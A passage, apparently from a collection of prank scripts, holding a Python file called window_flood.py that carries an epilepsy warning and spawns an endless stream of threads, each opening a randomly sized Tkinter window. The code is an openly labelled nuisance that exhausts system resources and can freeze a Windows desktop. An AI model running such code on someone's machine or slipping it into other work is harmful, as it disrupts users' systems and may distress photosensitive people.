|   time.sleep(1)                           |
|                                           |
|                                           |
|                                           |
`-------------------------------------------'
```

```
# filename: window_flood.py
# EPILEPSY WARNING
# pip install tkinter pywin32
from tkinter import *
import win32api as a
from threading import Thread
import random

# create bazillion windows with
# different sizes

sw = a.GetSystemMetrics(0)
sh = a.GetSystemMetrics(1)

def win():
  b = Tk()
  b.title("HELLO")
  w = random.randint(100, sw)
  h = random.randint(100, sh)
  b.configure(width=w, height=h)
  b.configure(bg='lightgray')
  b.mainloop()

threads = []
while True:
  t = Thread(target=win)
  t.start()
  threads.append(t)
```